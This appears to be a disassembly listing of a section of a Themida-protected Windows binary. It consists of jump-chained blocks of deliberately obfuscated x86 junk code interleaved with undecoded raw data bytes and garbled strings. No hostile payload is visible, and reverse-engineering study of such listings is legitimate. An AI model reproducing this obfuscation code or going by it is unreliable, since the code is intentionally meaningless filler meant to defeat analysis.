jmp loc_507F1D
; ---------------------------------------------------------------------------
dw 0EA83h
dd 24148704h, 240C895Ch, 3D3E68h, 48F5400h, 68575024h
dd 9E53159h, 55EF815Fh, 8909E531h, 44015FF8h, 8B580424h
dd 0C483240Ch, 2CE56804h, 0ACE90000h, 0FFFFFFCDh, 34FF2434h
dd 0F9E95B24h, 8B000051h, 5DE9240Ch, 8000010Ch, 0FA005FC2h
dd 5B5FEA80h, 0C05AD008h, 0B75308E0h, 5BF820A2h, 0C6201B2Ch
dd 8124048Bh, 4C4h, 9CA4E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_506022: ; CODE XREF: Themida_:0051062Ej
push eax
mov eax, 24A837FDh
sub esp, 4
mov [esp], edx
mov edx, 756A02EAh
push esi
mov esi, 7485CC6h
sub edx, esi
pop esi
jmp loc_509C9E
; ---------------------------------------------------------------------------
loc_506041: ; CODE XREF: Themida_:0050A0D1j
sub ebx, 704C12DCh
sub ecx, ebx
pop ebx
and eax, ecx
mov ecx, [esp]
jmp loc_50BCC7
; ---------------------------------------------------------------------------
loc_506054: ; CODE XREF: Themida_:00513DCDj
push 3425h
mov [esp], esi
push 10h
mov esi, [esp]
add esp, 4
and ebx, esi
push dword ptr [esp]
mov esi, [esp]
push eax
mov eax, esp
jmp loc_50A801
; ---------------------------------------------------------------------------
dw 815Ah
dd 0A4CA3C2h, 81DA0178h, 0A4CA3EAh, 0EA835B78h, 24143304h
dd 33241431h, 895C2414h, 2CE92404h, 89FFFFCAh, 535859CEh
dd 43D6E956h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5060AA: ; CODE XREF: Themida_:0050BC8Dj
mov edi, 4F2C3868h
neg edi
inc edi
and edi, 506C2ED1h
neg edi
push ecx
mov ecx, 60702A9Dh
add ecx, 2A5775FCh
add ecx, 446C2179h
add ecx, 208C3759h
xor edi, ecx
pop ecx
add ecx, edi
pop edi
sub ecx, 4
xchg ecx, [esp]
jmp loc_50FE73
; ---------------------------------------------------------------------------
loc_5060E3: ; CODE XREF: Themida_:005177E3j
mov [esp], ecx
jmp loc_5154CF
; ---------------------------------------------------------------------------
loc_5060EB: ; CODE XREF: Themida_:0050F17Fj
add esp, 4
push 6C28h
jmp loc_51062B
; ---------------------------------------------------------------------------
loc_5060F8: ; CODE XREF: Themida_:005158A2j
xor edi, [esp]
jmp loc_50C711
; ---------------------------------------------------------------------------
dd 2D2368h, 0A5ACE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50610A: ; CODE XREF: Themida_:00512430j
mov [esp], esp
push 6D07h
mov [esp], ebp
mov ebp, 4
jmp loc_5157C1
; ---------------------------------------------------------------------------
loc_50611F: ; CODE XREF: Themida_:005121EBj
shr eax, 3
neg eax
push ecx
mov ecx, 15F578B4h
jmp loc_50A2F5
; ---------------------------------------------------------------------------
db 81h
dd 0F213A0C1h, 6CB26811h, 34890000h, 2401E924h, 0FA010000h
dd 1029E95Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50614A: ; CODE XREF: Themida_:0050A5B6j
sub ecx, 62EF337Dh
add ecx, edx
sub esp, 4
mov [esp], ebp
mov ebp, 62EF337Dh
sub ecx, 221D7C30h
add ecx, ebp
add ecx, 221D7C30h
pop ebp
pop edx
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edi
mov edi, 63C352E7h
neg edi
and edi, 5C1B2F73h
xchg ebp, edi
xchg ecx, ebp
xchg ebx, ecx
jmp loc_50D748
; ---------------------------------------------------------------------------
db 53h
dd 0C32DC0BBh, 5BD83116h, 0C105E8C1h, 0E8D106E0h, 0B335D8F7h
dd 0E980F8F2h, 879Bh, 0CA232C05h, 8BC5898Bh, 0C4832404h
dd 8BEF0904h, 0C481242Ch, 4, 0F781D7F7h, 6E1160EAh, 806EF781h
dd 0A3E9E6D4h
db 18h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5061E3: ; CODE XREF: Themida_:005043BAj
mov [esp], ecx
push ebp
push ebx
jmp loc_507DBB
; ---------------------------------------------------------------------------
db 87h, 14h, 24h
dd 2EFDE9h, 240C8B00h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push edi
push ebp
push 769907BAh
jmp loc_5057C2
; ---------------------------------------------------------------------------
loc_506217: ; CODE XREF: Themida_:005046A3j
push eax
push esp
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
add eax, 4
sub eax, 4
xchg eax, [esp]
jmp loc_517929
; ---------------------------------------------------------------------------
a@_dYhb db '¹@.D/',9,'ÏYh¡',9,0
align 4
aS_6 db 'éÓ¼',0
dd 309AB500h, 0CCC6E9ECh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_50625A: ; CODE XREF: Themida_:005126DCj
sub ebp, 659A4243h
shr ebp, 7
add ebp, 25285ABAh
xor ebp, 5ED70A17h
push ebp
jmp loc_50AAC8
; ---------------------------------------------------------------------------
db 8Bh, 1Ch, 24h
dd 4C481h, 0EC810000h, 4, 81240C89h, 4ECh, 24348900h, 4EC81h
dd 0C890000h, 3296B924h, 4C296299h, 0C8B0424h, 4C48324h
dd 0E9240C8Bh, 1565h, 4C481h, 0BE560000h, 0C27524CBh, 348BF229h
dd 8996E924h, 0C5010000h, 7217B850h, 0C5297241h, 0ED815858h
dd 4, 5C242C87h, 0E9240489h, 628Dh
; ---------------------------------------------------------------------------
loc_5062E4: ; CODE XREF: Themida_:0050F44Cj
pop esp
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
imul ecx, eax
push ecx
pushf
jmp loc_502ACB
; ---------------------------------------------------------------------------
loc_50630F: ; CODE XREF: Themida_:00505615j
add esp, 4
add [esp+4], edi
jmp loc_50AF99
; ---------------------------------------------------------------------------
loc_50631E: ; CODE XREF: Themida_:00512D09j
mov edx, eax
jmp loc_50B7CB
; ---------------------------------------------------------------------------
loc_506325: ; CODE XREF: Themida_:00510FF5j
and ebx, 434E2965h
and ebx, 2C8A6F5Fh
or ebx, 2B9B0370h
sub ebx, 2B9B2B70h
push eax
jmp loc_51476F
; ---------------------------------------------------------------------------
db 57h
dd 23640FBFh, 0CFA9BA17h, 0C2810505h, 686A57F0h, 2F21C281h
dd 0FA011D25h, 1032DE9h
db 0
; ---------------------------------------------------------------------------
loc_506361: ; CODE XREF: Themida_:0050DFEDj
jmp loc_502ACB
; ---------------------------------------------------------------------------
loc_506366: ; CODE XREF: Themida_:005103FCj
sub esp, 4
mov [esp], ebx
mov ebx, 114D5CBCh
dec ebx
sub ebx, 1772046Bh
sub eax, ebx
mov ebx, [esp]
add esp, 4
add ebp, eax
pop eax
and eax, ebp
pop ebp
shr eax, 18h
xor eax, ecx
push ebx
mov ebx, esp
push edi
mov edi, 70A4BA0h
not edi
xor edi, 4EE44B97h
xor edi, 0B611FFCCh
jmp loc_50FFAD
; ---------------------------------------------------------------------------
dw 875Ch
dd 248B241Ch, 4D04E924h, 0C6810000h, 4, 8704C683h, 515C2434h
dd 0D1FFE9h, 8BDA0100h, 0C481241Ch, 4, 0E840E9h
db 0
; ---------------------------------------------------------------------------
loc_5063D9: ; CODE XREF: Themida_:0050BDB8j
mov esi, ebx
push 71E4h
jmp loc_5102C8
; ---------------------------------------------------------------------------
loc_5063E5: ; CODE XREF: Themida_:0050E37Fj
add dword ptr [esp+8], 3B77F45h
add dword ptr [esp+8], 36B10E2Bh
sub [esp+8], esi
sub dword ptr [esp+8], 36B10E2Bh
sub dword ptr [esp+8], 3B77F45h
jmp loc_50FF2A
; ---------------------------------------------------------------------------
loc_50640E: ; CODE XREF: Themida_:00508C8Aj
push ecx
push 791E3CAEh
pop ecx
or ecx, 430A005Ah
jmp loc_50C116
; ---------------------------------------------------------------------------
loc_506420: ; CODE XREF: Themida_:0050DCF1j
not ebp
xchg ebp, edi
xchg edi, edx
push eax
mov eax, 68D517D9h
inc eax
dec eax
push edi
push ecx
mov ecx, 1
mov edi, ecx
pop ecx
jmp loc_5117CC
; ---------------------------------------------------------------------------
loc_50643D: ; CODE XREF: Themida_:0050953Bj
pop edi
add ecx, eax
pop eax
push ecx
jmp loc_50DD1D
; ---------------------------------------------------------------------------
db 35h
dd 0E9AAEBC9h, 158C189h, 0C8D7E9C8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_506456: ; CODE XREF: Themida_:0050C230j
push eax
jmp loc_511F8C
; ---------------------------------------------------------------------------
dword_50645C dd 7EE95452h, 31FFFFF2h, 0E9042474h, 0DD26h, 580CB951h
; DATA XREF: Themida_:00502944o
dd 0BA5248D9h, 0B726A7F8h, 30E9D101h
db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_50647F: ; CODE XREF: Themida_:00506FCDj
mov [esp], ebx
jmp loc_51380C
; ---------------------------------------------------------------------------
db 58h
dd 0E924048Fh, 6CFAh, 8247429h, 8244481h, 5D8765A1h, 5624348Bh
dd 0C681E689h, 4, 8704C683h, 0E95C2434h, 19EDh, 34FFEA01h
dd 0DBCDE924h, 14F7FFFFh, 0BB535924h, 837D96C6h, 44E1E9h
dd 30E95E00h, 81000082h, 0ED689FF3h, 63F38134h, 0E9AE850Ch
dd 0FFFFFEE5h, 77BD5551h, 893B8B0Dh, 49E95DE9h, 5FFFFE8h
dd 4, 0C41BE9h, 81E78900h, 4C7h, 4C78100h, 0E9000000h
dd 4A28h, 0E95BDA01h, 0CF39h
; ---------------------------------------------------------------------------
loc_506518: ; CODE XREF: Themida_:0050D34Fj
mov [esp], edx
push esp
pop edx
jmp loc_517C9D
; ---------------------------------------------------------------------------
dw 8951h
dd 4C181E1h, 81000000h, 4C1h, 240C8700h, 241C875Ch, 0E924248Bh
dd 428Fh, 0D3F6D930h, 88515066h, 0CF8853D9h, 0A5E9FC88h
dd 6600003Eh, 9C2404FFh, 9764E9h, 5DEE0100h, 0FFD50BE9h
dd 1C8751FFh, 87D3F724h, 8159241Ch, 0EBAAE1F1h, 0E9C889F5h
dd 6AD3h, 0FFA0E958h, 1433FFFFh, 48F5C24h, 7D63E924h, 0C3890000h
dd 8FCB8158h, 81678601h, 333994F3h, 5BDE312Ah, 315EF189h
dd 0E06859C8h, 89000010h, 0E389241Ch, 4C381h, 0EB830000h
dd 241C8704h, 2434895Ch, 0B163E9h, 0E9EF0100h, 0FFFFCA25h
dd 0F5C580h, 0F5ED80C5h, 8324048Bh, 0C5FE04C4h, 0E97DC580h
dd 0F2Eh, 230E42BFh, 81D7F75Dh, 1C682AF7h, 0E9FA01F8h
dd 15A0h
; ---------------------------------------------------------------------------
loc_5065F8: ; CODE XREF: Themida_:005126E2j
push ecx
push 6EA34B9h
push dword ptr [esp]
jmp loc_512694
; ---------------------------------------------------------------------------
dw 0FB31h
dd 5F2434FFh, 4C481h, 0C3810000h, 511283Ch, 0E904EC83h
dd 9092h
; ---------------------------------------------------------------------------
loc_506620: ; CODE XREF: Themida_:00506C35j
xor ecx, 778338D9h
neg ecx
inc ecx
sub esp, 4
mov [esp], edx
mov edx, 0A492F34h
sub edx, 1EA46F13h
sub ecx, edx
pop edx
sub ebx, ecx
pop ecx
xchg ebx, [esp]
pop esp
mov [esp], edx
mov edx, 1
jmp loc_50D817
; ---------------------------------------------------------------------------
db 33h, 14h, 24h
dd 0FC96E9h
db 0
; ---------------------------------------------------------------------------
loc_506659: ; CODE XREF: Themida_:0050EB40j
push dword ptr [esp]
pop ecx
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
push 340Ch
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
push edx
jmp loc_50365C
; ---------------------------------------------------------------------------
loc_506680: ; CODE XREF: Themida_:005132B4j
pop esi
xchg ecx, [esp]
pop esp
jmp loc_506B9D
; ---------------------------------------------------------------------------
dw 0D030h
dd 187DE9h, 24348B00h, 0C118E9h, 241C8900h, 0B716B450h
dd 42C780CFh, 11895E9h, 4B800h, 0F7E90000h
db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5066B3: ; CODE XREF: Themida_:00512E85j
pop ecx
push 92Ch
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push dword ptr [esp]
pop eax
jmp loc_51626D
; ---------------------------------------------------------------------------
loc_5066D4: ; CODE XREF: Themida_:00509FE7j
mov ecx, [esp]
sub esp, 4
jmp loc_50A587
; ---------------------------------------------------------------------------
dw 0C9BBh
dd 147C64Ch, 6238E9DAh, 83580000h, 0EC8104C4h, 4, 50242C89h
dd 0FE730CB8h, 0AA73BD25h, 0A8E97EFCh, 30000017h, 87DCE9ECh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_506712: ; CODE XREF: Themida_:0050C1ABj
pop ebx
xchg ebp, [esp]
pop esp
mov [esp], ebp
jmp loc_50C151
; ---------------------------------------------------------------------------
db 1
dd 4875EF0h, 24248B24h, 4EC81h, 3C890000h, 0B10AE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_506736: ; CODE XREF: Themida_:005092EAj
or eax, eax
jz loc_514BB5
push 4461h
mov [esp], ebx
push edi
jmp loc_50DA91
; ---------------------------------------------------------------------------
loc_50674C: ; CODE XREF: Themida_:00513E7Bj
push edi
jmp loc_50D535
; ---------------------------------------------------------------------------
dw 0C280h
dd 48F28075h, 5131EA80h, 0EF88D588h, 2D8BE9h
db 0
; ---------------------------------------------------------------------------
loc_506765: ; CODE XREF: Themida_:00515225j
push ebp
push 1B567E4Dh
pop ebp
xor ebp, 1A5B1F94h
add ebp, 76C62AF1h
not ebp
xor ebp, 0C9B04D75h
mov eax, ebp
pop ebp
mov ecx, eax
mov eax, [esp]
jmp loc_50A17B
; ---------------------------------------------------------------------------
db 28h, 0F7h, 5Ah
dd 0BE38E9h, 0E2C15900h, 4B85008h, 109F89Dh, 0EB8158C2h
dd 3B4B2B41h, 0FFF032E9h, 4EC81FFh, 89000000h, 0A2BE2434h
dd 892AA44Bh, 24348BF2h, 4C481h, 0B8500000h, 53B597Ah
dd 0F38EE9h, 0BFC58000h, 0ED80FD28h, 0E8005BBFh, 14B5E959h
dd 89660001h, 2434FFDEh, 5B2434FFh, 0E904C483h, 10EFEh
dd 791268h, 24048900h, 36EFE957h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_506802: ; CODE XREF: Themida_:00502E95j
shr edi, 7
push 7392h
mov [esp], ebx
jmp loc_50E849
; ---------------------------------------------------------------------------
dw 0EC81h
dd 4, 0E9241489h, 29D9h, 4AB0F66h, 3FE99C24h, 81000039h
dd 0E31A7FC2h, 5AD129BCh, 6104E9h, 55575E00h, 824EDABDh
dd 5E5C17Ah, 0E92F581h, 0E58141ECh, 678274E3h, 476FBA52h
dd 0C14A5CE7h, 0C9E905E2h, 58000084h, 405h, 0E95500h
db 4Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_50686B: ; CODE XREF: Themida_:005169B8j
mov ebp, 1
and eax, ebp
push dword ptr [esp]
pop ebp
jmp loc_5123C2
; ---------------------------------------------------------------------------
byte_50687B db 0ACh ; DATA XREF: Themida_:0050292Co
dd 4EC81h, 14890000h, 4EC8324h, 0F47E9h
db 0
; ---------------------------------------------------------------------------
loc_50688D: ; CODE XREF: Themida_:0050E9F8j
add esp, 4
push 26B3h
mov [esp], ecx
jmp loc_50E30B
; ---------------------------------------------------------------------------
db 0BFh, 56h, 50h
dd 0EFC161AFh, 4EC8302h, 0BB241C89h, 58BA54C4h, 80D5BF57h
dd 0AFE940D1h, 8B00008Bh, 0C481241Ch, 4, 0D8286104h, 6866612Ch
dd 89662037h, 0D4B22414h, 4DE9D028h, 57000097h, 6B2CBFBFh
dd 7BF7812Fh, 12C6F08h, 243C8BFAh, 0FFF9BFE9h, 4C481FFh
dd 0E9000000h, 0DB15h
; ---------------------------------------------------------------------------
loc_5068FC: ; CODE XREF: Themida_:0050E32Bj
pop ecx
add ecx, edx
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_512F77
; ---------------------------------------------------------------------------
loc_50690E: ; CODE XREF: Themida_:0050A705j
mov edx, 4
add ecx, edx
pop edx
jmp loc_511364
; ---------------------------------------------------------------------------
db 0F7h
dd 3F681DEh, 29431832h, 1B055EF2h, 11DA910h, 101B2DD0h
dd 0E95A1DA9h, 0B195h, 345580B9h, 0FBC18115h, 814A0375h
dd 5A336BE1h, 4E1C102h, 7A51E181h, 0D9F77238h, 6D8AC181h
dd 0C82924F2h, 0EB90E959h, 0E089FFFFh, 405h, 42D00h, 4870000h
dd 9E95C24h, 8B000083h, 89502404h, 405E0h, 0C0830000h
dd 24048704h, 0E689565Ch, 81E28952h, 4C2h, 9BE6800h, 3C890000h
dd 4BF24h, 0FA290000h, 4C42E9h, 0E9FC2800h, 0B2B9h
; ---------------------------------------------------------------------------
loc_5069B0: ; CODE XREF: Themida_:00503D9Ej
push dword ptr [esp]
pop edx
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edx
sub esp, 4
mov [esp], esp
jmp loc_5098BA
; ---------------------------------------------------------------------------
db 87h
dd 8F5C241Ch, 0E95C2404h, 9BF9h, 0BD05D829h, 0E9242206h
dd 852h, 0F0007004h, 2870B151h, 148B59C8h, 58545024h, 405h
dd 4C08300h, 0E9240487h, 1347h, 0C5FEE530h, 0FE07E5C0h
dd 4EC81C5h, 0E9000000h, 71AEh, 5E1F8D05h, 708B0502h, 0F02977C1h
dd 0C1D1E9h, 0C8B6600h, 0E2895224h, 4C281h, 0EA830000h
dd 24148704h, 243C895Ch, 0C781E789h, 4, 28F768h, 240C8900h
dd 0D84E9h, 58C18900h, 159CE01h, 0ED815EF5h, 4, 31242C33h
dd 2C33242Ch, 0CF7DE924h, 24890000h, 24048124h, 4, 8B2434FFh
dd 89522414h, 4C281E2h, 0E9000000h, 56D2h, 73C8F4B9h, 1084E91Bh
dd 4BE0001h, 0E9000000h, 0FE9Ch, 8FC331h, 32F5E9h, 0C4BD5500h
dd 0BA08196Bh, 46EA1860h, 6C6DE9h, 0F7814700h, 545C43EDh
dd 0B30E9h, 0E5815D00h, 7B616986h, 19C6F581h, 0BE56064Ah
dd 2EAD2B9Fh, 392CCE81h, 0BFE9486Bh, 68FFFFEAh, 35F8266Fh
dd 5A2434FFh, 4C481h, 0B3680000h, 8900000Eh, 65BE2434h
dd 2961A858h, 57535EF2h, 0EB630BBFh, 5FFB8916h, 0EBC1D3F7h
dd 6EBC108h, 8B8DE9h
db 0
; ---------------------------------------------------------------------------
loc_506B2D: ; CODE XREF: Themida_:005038E2j
and eax, ebx
mov ebx, [esp]
push edx
push esp
pop edx
push esi
mov esi, 4
add edx, esi
jmp loc_50C4E7
; ---------------------------------------------------------------------------
dw 0DDF7h
dd 0A28E952h
db 1, 0
; ---------------------------------------------------------------------------
loc_506B4A: ; CODE XREF: Themida_:00513362j
push dword ptr [esp]
push dword ptr [esp]
pop ecx
jmp loc_517299
; ---------------------------------------------------------------------------
word_506B56 dw 2DADh ; DATA XREF: Themida_:005029D4o
dd 6DD46003h, 0D5ECE957h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_506B62: ; CODE XREF: Themida_:00511718j
pop ecx
sub edx, ebp
add edx, 645930A2h
mov ebp, [esp]
jmp loc_5153D2
; ---------------------------------------------------------------------------
db 0BEh
dd 4321671Ah, 0FFC01BE9h, 89665CFFh, 88502414h, 8AEE9D8h
db 1, 0
; ---------------------------------------------------------------------------
loc_506B8A: ; CODE XREF: Themida_:0050DF73j
mov ebx, 1A1D5204h
jmp loc_5094AB
; ---------------------------------------------------------------------------
dword_506B94 dd 24048B66h, 0E5AAE9h ; DATA XREF: Themida_:00502A30o
db 0
; ---------------------------------------------------------------------------
loc_506B9D: ; CODE XREF: Themida_:00506685j
mov [esp], edi
push 5CE11551h
push dword ptr [esp]
pop edi
jmp loc_5093DF
; ---------------------------------------------------------------------------
dw 3C87h
dd 0E2D15C24h, 5FC2814Ah, 9137DDBh, 0E95A1C57h, 6010h
dd 81243C8Bh, 4C4h, 7DE95000h
db 2 dup(1), 0
; ---------------------------------------------------------------------------
loc_506BD3: ; CODE XREF: Themida_:005050CEj
add ebp, 4
push ebx
mov ebx, 7A6A5D77h
add ebx, 27067BFBh
and ebx, 0E011F3Dh
shl ebx, 4
sub ebx, 192FCh
jmp loc_50C1A9
; ---------------------------------------------------------------------------
db 56h, 54h, 8Bh
dd 0FE92434h, 8B00002Ah, 53682424h, 8900006Dh, 8151241Ch
dd 4ECh, 0B4AE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_506C1A: ; CODE XREF: Themida_:00505E9Ej
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
push ebx
push esp
pop ebx
add ebx, 4
push ecx
mov ecx, 63D80705h
jmp loc_506620
; ---------------------------------------------------------------------------
dd offset dword_450050+2E718h
dw 0E900h
dd 15B6h, 8B240C87h, 24D32424h, 6163E924h, 1C890000h, 95BD5524h
dd 81493512h, 0A36AC4F5h, 550E96Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_506C66: ; CODE XREF: Themida_:0050342Fj
sub eax, edx
push dword ptr [esp]
push dword ptr [esp]
jmp loc_50EF68
; ---------------------------------------------------------------------------
db 53h
dd 154711BBh, 156848h, 4890000h, 54396824h, 0C890000h
dd 9239E924h, 305C0000h, 0C32240Ch, 91D1E924h, 0C4830000h
dd 0F0BF5704h, 0C10E360Eh, 0F78103EFh, 2534B700h, 8247C29h
dd 0FFBEB8E9h, 240489FFh, 10BB7E9h, 114C6800h, 0C890000h
dd 74AC6824h, 0C8B59F2h, 4C48124h, 81000000h, 4ECh, 4281E900h
dd 0CD20000h, 0E4E99C24h, 83FFFFBDh, 11E904C4h
db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_506CEF: ; CODE XREF: Themida_:0051364Fj
mov edx, 486A0A61h
add dword ptr [esp+4], 483A68E2h
sub [esp+4], edx
jmp loc_5050D3
; ---------------------------------------------------------------------------
db 81h, 0C5h, 87h
dd 0F777112Ah, 0BFFCE9D5h, 4E4E0000h, 6058BB53h, 81436427h
dd 3D1700E3h, 7BF38116h, 29F887E7h, 0F1015BDEh, 8324348Bh
dd 0DDE904C4h, 5A000084h, 8141E9D1h, 0AD7BF4F1h, 0B10FE913h
dd 0D5080000h, 4937E9h, 4C48300h, 0FFBD76E9h, 5AD501FFh
dd 31242C33h, 2C33242Ch, 24248B24h, 4AB0F66h, 5CE99C24h
dd 87FFFFBDh, 7FE9240Ch
db 0DFh, 2 dup(0)
byte_506D77 db 64h ; DATA XREF: Themida_:00502864o
dd 0EFE932FFh, 66000027h, 6606ACB9h, 8B66C829h, 0C483240Ch
dd 0F3E95702h
db 0A3h, 2 dup(0)
byte_506D93 db 8Bh ; DATA XREF: Themida_:00502824o
dd 0EC832404h, 4212E904h, 4050000h, 5000000h, 4, 0E9240487h
dd 3CD1h, 5104C483h, 0BB53E189h, 4, 815BD901h, 4E9h, 0C696E900h
dd 0F5880000h, 5A2434FFh, 81E18951h, 4C1h, 4C18300h, 0FFD45DE9h
dd 0A9B652FFh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_50FB96
; ---------------------------------------------------------------------------
db 53h, 0BBh, 11h
dd 0C17A9A23h, 0D3F707E3h, 643ECB81h, 0EB812839h, 27686607h
dd 8108E3C1h, 117804F3h, 5BDF2997h, 9D0BE9h
db 0
; ---------------------------------------------------------------------------
loc_506E1D: ; CODE XREF: Themida_:00512751j
movzx eax, al
push dword ptr [edi+eax*4]
sub esp, 4
mov [esp], ebx
push edi
jmp loc_505B7D
; ---------------------------------------------------------------------------
dw 0B8BDh
dd 81285B42h, 4ECh, 24048900h, 72924EB8h, 82E4E940h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_506E4A: ; CODE XREF: Themida_:0051086Dj
pop eax
push ax
jmp loc_50B06F
; ---------------------------------------------------------------------------
loc_506E52: ; CODE XREF: Themida_:0050BF25j
add esi, ebx
pop ebx
add esi, 4
xchg esi, [esp]
pop esp
push 5732h
mov [esp], ebx
push 4AE07900h
push dword ptr [esp]
jmp loc_505BED
; ---------------------------------------------------------------------------
loc_506E74: ; CODE XREF: Themida_:0050EFA5j
mov edx, 1
jmp loc_508D03
; ---------------------------------------------------------------------------
dw 3489h
dd 50E68924h, 4B8h, 58C60100h, 8704C683h, 248B2434h, 40524h
dd 59E90000h
db 5Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_506E9F: ; CODE XREF: Themida_:0050A559j
movzx eax, al
jmp loc_50A668
; ---------------------------------------------------------------------------
aBR3 db 'Á`r3',0
db 81h, 0F1h, 0FEh
dd 1204F14h, 0EB8159CBh, 4, 5C241C87h, 56243C89h, 0BF042CBEh
dd 5EF78974h, 1450F781h, 0EF815D7Dh, 29C21078h, 815FF801h
dd 4ECh, 241C8900h, 0E60684BBh, 0DBBE5609h, 294D2F25h
dd 2434FFF3h, 4C4815Eh, 0E9000000h, 10FCDh
; ---------------------------------------------------------------------------
loc_506F00: ; CODE XREF: Themida_:0050E534j
mov edi, [esp]
add esp, 4
add esp, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
jmp loc_503F2E
; ---------------------------------------------------------------------------
loc_506F1D: ; CODE XREF: Themida_:00513A7Ej
mov [esp], edi
jmp loc_50E2CD
; ---------------------------------------------------------------------------
db 83h, 0ECh, 4
dd 0FF243C89h, 8B042474h, 0C483243Ch, 0A93EE904h, 0A680000h
dd 5D074736h, 0EF01B850h, 0C529C2B2h, 2BE95558h
db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_506F4F: ; CODE XREF: Themida_:00509B0Ej
add esp, 4
xor edi, [esp]
xor [esp], edi
jmp loc_50A8B1
; ---------------------------------------------------------------------------
db 89h, 0E5h, 81h
dd 4C5h, 4C58100h, 87000000h, 685C242Ch, 4A55h, 10E3EE9h
dd 2474FF00h, 48F5804h, 24248B24h, 24048B66h, 4EC81h, 0C890000h
dd 0CC09E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_506F96: ; CODE XREF: Themida_:005117E0j
xor ebp, 1C76A03h
shr ebp, 4
push ebx
jmp loc_507D13
; ---------------------------------------------------------------------------
db 0C1h, 0EEh, 2
dd 0D5F7EE87h, 3837E956h, 0D7870000h, 0A543E9h, 0E9EA8700h
dd 0FFFFE0DAh, 0E904EC83h, 1D75h
; ---------------------------------------------------------------------------
loc_506FC8: ; CODE XREF: Themida_:0050927Dj
push 78E2h
jmp loc_50647F
; ---------------------------------------------------------------------------
dw 0E956h
dd 48FCh, 0A1B85056h, 0C151DD50h, 43E905E8h, 59FFFFEAh
dd 0A0B8E9h, 80CBFE00h, 53E913C3h, 81FFFFE1h, 68397AEBh
dd 81EB290Ah, 68397AC3h, 31E95D0Ah, 5900009Eh, 4C481h
dd 0F5290000h, 8BEB015Eh, 8952242Ch, 4C281E2h, 0E9000000h
dd 1B7Bh
dword_507028 dd 24048B66h, 499A68h, 21DE900h, 0FF530001h, 5B042474h
; DATA XREF: Themida_:00502858o
dd 5C24048Fh, 0E930FF66h, 0FFFFBA83h
; ---------------------------------------------------------------------------
loc_507048: ; CODE XREF: Themida_:005042C7j
add ebx, edi
pop edi
jmp loc_50798C
; ---------------------------------------------------------------------------
dd 0DD0852B9h, 29BB533Bh, 4B2D5176h, 0B2DCC381h, 0D9091216h
dd 0E368555Bh, 0E9668B42h, 5669h
; ---------------------------------------------------------------------------
loc_507070: ; CODE XREF: Themida_:00515CFFj
add ebp, eax
pop eax
jmp loc_51581A
; ---------------------------------------------------------------------------
dd 235D9E25h, 5C10354Eh, 0E43557F9h, 55C6D09h, 200BAE0Dh
dd 5558C589h, 5D2414F7h, 0E904EDC1h, 0FFFFFC69h, 0BA52E789h
dd 13B05FFAh, 0FFBBB5E9h, 0EB814BFFh, 31769D76h, 34FFDF01h
dd 0ABDAE924h, 0E3810000h, 30CA5411h, 0FFC7C9E9h, 0F0045AFFh
dd 0C084E9h, 0AAE95800h
db 36h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5070D3: ; CODE XREF: Themida_:0050A22Bj
mov eax, ebx
pop ebx
jmp loc_5079A9
; ---------------------------------------------------------------------------
db 51h
dd 4B9h, 59CD0100h, 5C242C87h, 8704C783h, 248B243Ch, 0BFE95624h
db 4Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5070F7: ; CODE XREF: Themida_:005160E7j
add eax, 4
xchg eax, [esp]
pop esp
push edx
push esp
pop edx
push ebp
mov ebp, 545C5753h
add ebp, 27D82110h
dec ebp
add ebp, 83CB87A2h
sub edx, 6F09263Bh
add edx, ebp
add edx, 6F09263Bh
mov ebp, [esp]
add esp, 4
push eax
mov eax, 4
add edx, eax
pop eax
push edx
push dword ptr [esp+4]
jmp loc_511B60
; ---------------------------------------------------------------------------
word_50713E dw 4568h ; DATA XREF: Themida_:00502888o
dd 89000032h, 0E9542404h, 45BFh
; ---------------------------------------------------------------------------
loc_50714C: ; CODE XREF: Themida_:00504D09j
xchg ebp, [esp]
pop esp
jmp loc_507A2E
; ---------------------------------------------------------------------------
loc_507155: ; CODE XREF: Themida_:0051054Aj
sub esp, 4
jmp loc_5080D1
; ---------------------------------------------------------------------------
dd 0E930FF66h, 0FFFFB963h
aNQBS db '-Ÿ{%éµ/',0 ; DATA XREF: Themida_:00502958o
dw 8B00h
